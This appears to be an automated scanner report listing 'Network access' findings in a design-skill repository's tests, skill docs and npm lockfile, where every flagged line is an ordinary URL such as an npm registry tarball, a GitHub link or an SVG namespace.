    f = Path(tmp) / "confetti.json"             f.write_text('{"v":"5.7.4","layers":[]}')             out = run(["--dir", tmp, "add", str(f), "--source", "lottiefiles", "--url", "https://lottiefiles.com/free-animation/confetti"])
  • Network accessline 517
    f.write_text('{"v":"5.7.4","layers":[]}')             out = run(["--dir", tmp, "add", str(f), "--source", "lottiefiles", "--url", "https://lottiefiles.com/free-animation/confetti"])             self.assertIn("kept as-is", out)
  • Network accessline 518
    out = run(["--dir", tmp, "add", str(f), "--source", "lottiefiles", "--url", "https://lottiefiles.com/free-animation/confetti"])
  • Network accessline 530
    with tempfile.TemporaryDirectory() as tmp:             f = Path(tmp) / "t.svg"             f.write_text('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><text fill="#123456">Hi</text></svg>')
  • Network accessline 531
    f = Path(tmp) / "t.svg"             f.write_text('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><text fill="#123456">Hi</text></svg>')             buf = io.StringIO()
  • Network accessline 532
    f.write_text('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10"><text fill="#123456">Hi</text></svg>')

skills/opendesigner-paint/SKILL.md

  • Network accessline 6
    metadata:   version: "0.2.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 7
    version: "0.2.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner" ---
  • Network accessline 8
    homepage: "https://github.com/ckryptickunal/OpenDesigner"

skills/opendesigner-paint/THIRD-PARTY.md

  • Network accessline 8
    | | | |---|---| | Source | https://github.com/ckryptickunal/generative-painting-skills (the README's own clone address names github.com/debuu0007/generative-painting-skills) |
  • Network accessline 9
    |---|---| | Source | https://github.com/ckryptickunal/generative-painting-skills (the README's own clone address names github.com/debuu0007/generative-painting-skills) | | Commit | `1ff8212779985e573507ebd51e5da080605af48d` (2026-09-28) |
  • Network accessline 10
    | Source | https://github.com/ckryptickunal/generative-painting-skills (the README's own clone address names github.com/debuu0007/generative-painting-skills) |

skills/opendesigner-paint/engine/package-lock.json

  • Network accessline 19
    "node_modules/@babel/runtime": {       "version": "7.29.10",       "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.10.tgz",
  • Network accessline 20
    "version": "7.29.10",       "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.10.tgz",       "integrity": "sha512-NpugTzbKgGrNe45Ui32cN8vCFFMxVtP/9rtfwv0nP5FRDAjvYBxJcLVpYA9mr1jxP6cnIT7x9LUzuDTbWYYNRA==",
  • Network accessline 21
    "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.10.tgz",
  • Network accessline 28
    "node_modules/@davepagurek/bezier-path": {       "version": "0.0.7",       "resolved": "https://registry.npmjs.org/@davepagurek/bezier-path/-/bezier-path-0.0.7.tgz",
  • Network accessline 29
    "version": "0.0.7",       "resolved": "https://registry.npmjs.org/@davepagurek/bezier-path/-/bezier-path-0.0.7.tgz",       "integrity": "sha512-CVlnCOrV1iy4Z12T756i9l4G6kF7r8uhlnb+xqDemAMmWQB+8Q0b+8VEqIiUfywgZDSiDr18Rm7pZlnA69rE8Q==",
  • Network accessline 30
    "resolved": "https://registry.npmjs.org/@davepagurek/bezier-path/-/bezier-path-0.0.7.tgz",
  • Network accessline 34
    "node_modules/@esbuild/aix-ppc64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
  • Network accessline 35
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",       "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==",
  • Network accessline 36
    "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
  • Network accessline 51
    "node_modules/@esbuild/android-arm": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
  • Network accessline 52
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",       "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==",
  • Network accessline 53
    "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
  • Network accessline 68
    "node_modules/@esbuild/android-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
  • Network accessline 69
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",       "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==",
  • Network accessline 70
    "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
  • Network accessline 85
    "node_modules/@esbuild/android-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
  • Network accessline 86
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",       "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==",
  • Network accessline 87
    "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
  • Network accessline 102
    "node_modules/@esbuild/darwin-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
  • Network accessline 103
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",       "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==",
  • Network accessline 104
    "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
  • Network accessline 119
    "node_modules/@esbuild/darwin-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
  • Network accessline 120
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",       "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==",
  • Network accessline 121
    "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
  • Network accessline 136
    "node_modules/@esbuild/freebsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
  • Network accessline 137
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",       "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==",
  • Network accessline 138
    "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
  • Network accessline 153
    "node_modules/@esbuild/freebsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
  • Network accessline 154
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",       "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==",
  • Network accessline 155
    "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
  • Network accessline 170
    "node_modules/@esbuild/linux-arm": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
  • Network accessline 171
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",       "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==",
  • Network accessline 172
    "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
  • Network accessline 187
    "node_modules/@esbuild/linux-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
  • Network accessline 188
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",       "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==",
  • Network accessline 189
    "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
  • Network accessline 204
    "node_modules/@esbuild/linux-ia32": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
  • Network accessline 205
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",       "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==",
  • Network accessline 206
    "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
  • Network accessline 221
    "node_modules/@esbuild/linux-loong64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
  • Network accessline 222
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",       "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==",
  • Network accessline 223
    "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
  • Network accessline 238
    "node_modules/@esbuild/linux-mips64el": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
  • Network accessline 239
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",       "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==",
  • Network accessline 240
    "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
  • Network accessline 255
    "node_modules/@esbuild/linux-ppc64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
  • Network accessline 256
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",       "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==",
  • Network accessline 257
    "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
  • Network accessline 272
    "node_modules/@esbuild/linux-riscv64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
  • Network accessline 273
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",       "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==",
  • Network accessline 274
    "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
  • Network accessline 289
    "node_modules/@esbuild/linux-s390x": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
  • Network accessline 290
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",       "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==",
  • Network accessline 291
    "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
  • Network accessline 306
    "node_modules/@esbuild/linux-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
  • Network accessline 307
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",       "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==",
  • Network accessline 308
    "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
  • Network accessline 323
    "node_modules/@esbuild/netbsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
  • Network accessline 324
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",       "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==",
  • Network accessline 325
    "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
  • Network accessline 340
    "node_modules/@esbuild/netbsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
  • Network accessline 341
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",       "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==",
  • Network accessline 342
    "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
  • Network accessline 357
    "node_modules/@esbuild/openbsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
  • Network accessline 358
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",       "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==",
  • Network accessline 359
    "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
  • Network accessline 374
    "node_modules/@esbuild/openbsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
  • Network accessline 375
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",       "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==",
  • Network accessline 376
    "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
  • Network accessline 391
    "node_modules/@esbuild/openharmony-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
  • Network accessline 392
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",       "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdA
  • Network accessline 393
    "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
  • Network accessline 408
    "node_modules/@esbuild/sunos-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
  • Network accessline 409
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",       "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==",
  • Network accessline 410
    "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
  • Network accessline 425
    "node_modules/@esbuild/win32-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
  • Network accessline 426
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",       "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==",
  • Network accessline 427
    "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
  • Network accessline 442
    "node_modules/@esbuild/win32-ia32": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
  • Network accessline 443
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",       "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==",
  • Network accessline 444
    "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
  • Network accessline 459
    "node_modules/@esbuild/win32-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
  • Network accessline 460
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",       "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==",
  • Network accessline 461
    "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
  • Network accessline 476
    "node_modules/@japont/unicode-range": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/@japont/unicode-range/-/unicode-range-1.0.0.tgz",
  • Network accessline 477
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/@japont/unicode-range/-/unicode-range-1.0.0.tgz",       "integrity": "sha512-BckHvA2XdjRBVAWe2uceNuRf78lBeI28kyWEbfr/Q2pE17POkwuZ6WWY/UMv8FL9iBxhW4xfDoNLM9UVZaTeUQ==",
  • Network accessline 478
    "resolved": "https://registry.npmjs.org/@japont/unicode-range/-/unicode-range-1.0.0.tgz",
  • Network accessline 482
    "node_modules/@napi-rs/lzma-linux-x64-gnu": {       "version": "1.5.1",       "resolved": "https://registry.npmjs.org/@napi-rs/lzma-linux-x64-gnu/-/lzma-linux-x64-gnu-1.5.1.tgz",
  • Network accessline 483
    "version": "1.5.1",       "resolved": "https://registry.npmjs.org/@napi-rs/lzma-linux-x64-gnu/-/lzma-linux-x64-gnu-1.5.1.tgz",       "integrity": "sha512-oTXEIha4SsuXdTA4Iyskj0kpdx2yVXdhd75c2v3xGrHFfVMsbhTPZU/nMPL4sWKo4pBHm3aucLaqGlF696dTyQ
  • Network accessline 484
    "resolved": "https://registry.npmjs.org/@napi-rs/lzma-linux-x64-gnu/-/lzma-linux-x64-gnu-1.5.1.tgz",
  • Network accessline 499
    "node_modules/@rollup/rollup-android-arm-eabi": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.64.6.tgz",
  • Network accessline 500
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.64.6.tgz",       "integrity": "sha512-FkO19Fowv/OQeJZPVfdetJaI3/VpbZmBsnmAlR/rQ+b3QwfiGQiOpVegpSRH331kelvHTVw9hXY
  • Network accessline 501
    "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.64.6.tgz",
  • Network accessline 513
    "node_modules/@rollup/rollup-android-arm64": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.64.6.tgz",
  • Network accessline 514
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.64.6.tgz",       "integrity": "sha512-si5/Etm6MphPc2xYHnk455Shls/hoMjTy3mhXge4OPmvCw7TwC4KP4fKokAlKLV4XaQvLvgSHfafPcblL
  • Network accessline 515
    "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.64.6.tgz",
  • Network accessline 527
    "node_modules/@rollup/rollup-darwin-arm64": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.64.6.tgz",
  • Network accessline 528
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.64.6.tgz",       "integrity": "sha512-PQCl3q7b0BgvVt72i2xrWM6I5KliwwVe4GpWW5QDGyUQawDS9aPZss/aGyFqBmxdRxlE8wDc9CaxiQ5DHRS
  • Network accessline 529
    "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.64.6.tgz",
  • Network accessline 541
    "node_modules/@rollup/rollup-darwin-x64": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.64.6.tgz",
  • Network accessline 542
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.64.6.tgz",       "integrity": "sha512-l9DFl1Itb1YYdSrP1K3U8ih44AOHa/p+Q4WMMDfGvH5qVWp+ajfgS1DlYo4yCRh8wJ2ZJv0Fqccf+ULAmMFjmg=
  • Network accessline 543
    "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.64.6.tgz",
  • Network accessline 555
    "node_modules/@rollup/rollup-freebsd-arm64": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.64.6.tgz",
  • Network accessline 556
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.64.6.tgz",       "integrity": "sha512-bR4GR3205N9+od0+l5Dd9/iZTDpJkIe6d6Ydp2qbcQZJLmKBdYQQRp8gbWpbMt92twKJY66o1vK4NkoKQ
  • Network accessline 557
    "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.64.6.tgz",
  • Network accessline 569
    "node_modules/@rollup/rollup-freebsd-x64": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.64.6.tgz",
  • Network accessline 570
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.64.6.tgz",       "integrity": "sha512-XTVNaDzcFl2TeBglvxdGgsCv9JGtAGRAoJENmGBR/XvDH2mA2K0IXc2aMfP0dR8mexSXSKifJ85FixoXX1wfT
  • Network accessline 571
    "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.64.6.tgz",
  • Network accessline 583
    "node_modules/@rollup/rollup-linux-arm-gnueabihf": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.64.6.tgz",
  • Network accessline 584
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.64.6.tgz",       "integrity": "sha512-qWc6qbc+25ugG9vqPR9P422KJBbVfZ05mjcMggoq8tsfWP+eRfC+/tiDdIlRF5VL2pDVZ
  • Network accessline 585
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.64.6.tgz",
  • Network accessline 597
    "node_modules/@rollup/rollup-linux-arm-musleabihf": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.64.6.tgz",
  • Network accessline 598
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.64.6.tgz",       "integrity": "sha512-V4Nwkp8844X/Xnww3PI1LYS0YPei8XQEVG70R+5MPZGO7AhYoun4hCN7Svs4U3wbQLZ
  • Network accessline 599
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.64.6.tgz",
  • Network accessline 611
    "node_modules/@rollup/rollup-linux-arm64-gnu": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.64.6.tgz",
  • Network accessline 612
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.64.6.tgz",       "integrity": "sha512-xb72A1aPaaIsp+a88VtRae/ovIEXislbUMyp7b9AQQU7ZkP2m/+ik6DW9TQcJyw5R8/RIailF9zEx
  • Network accessline 613
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.64.6.tgz",
  • Network accessline 625
    "node_modules/@rollup/rollup-linux-arm64-musl": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.64.6.tgz",
  • Network accessline 626
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.64.6.tgz",       "integrity": "sha512-pbcs1BVBwC43hZkjhjlF8Rx8m5G0KnhLZs9Azy/gqccP6UsNSzJr0hKGIAVPqzAH1O/NdPxxC9G
  • Network accessline 627
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.64.6.tgz",
  • Network accessline 639
    "node_modules/@rollup/rollup-linux-loong64-gnu": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.64.6.tgz",
  • Network accessline 640
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.64.6.tgz",       "integrity": "sha512-EKOC8os6Vsg487ZLKUqzLF99Jsmnq6tu7O7mAELakNpcA+8KadktFf/JYdRuHe/DzCUXmN38p
  • Network accessline 641
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.64.6.tgz",
  • Network accessline 653
    "node_modules/@rollup/rollup-linux-loong64-musl": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.64.6.tgz",
  • Network accessline 654
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.64.6.tgz",       "integrity": "sha512-v/SQ68GnSlr/HyjB79sNXesGDwkOPu9JjbHfmWaymCiM+nZsQ9TstG1KfA4MuEvTr2d3PoY
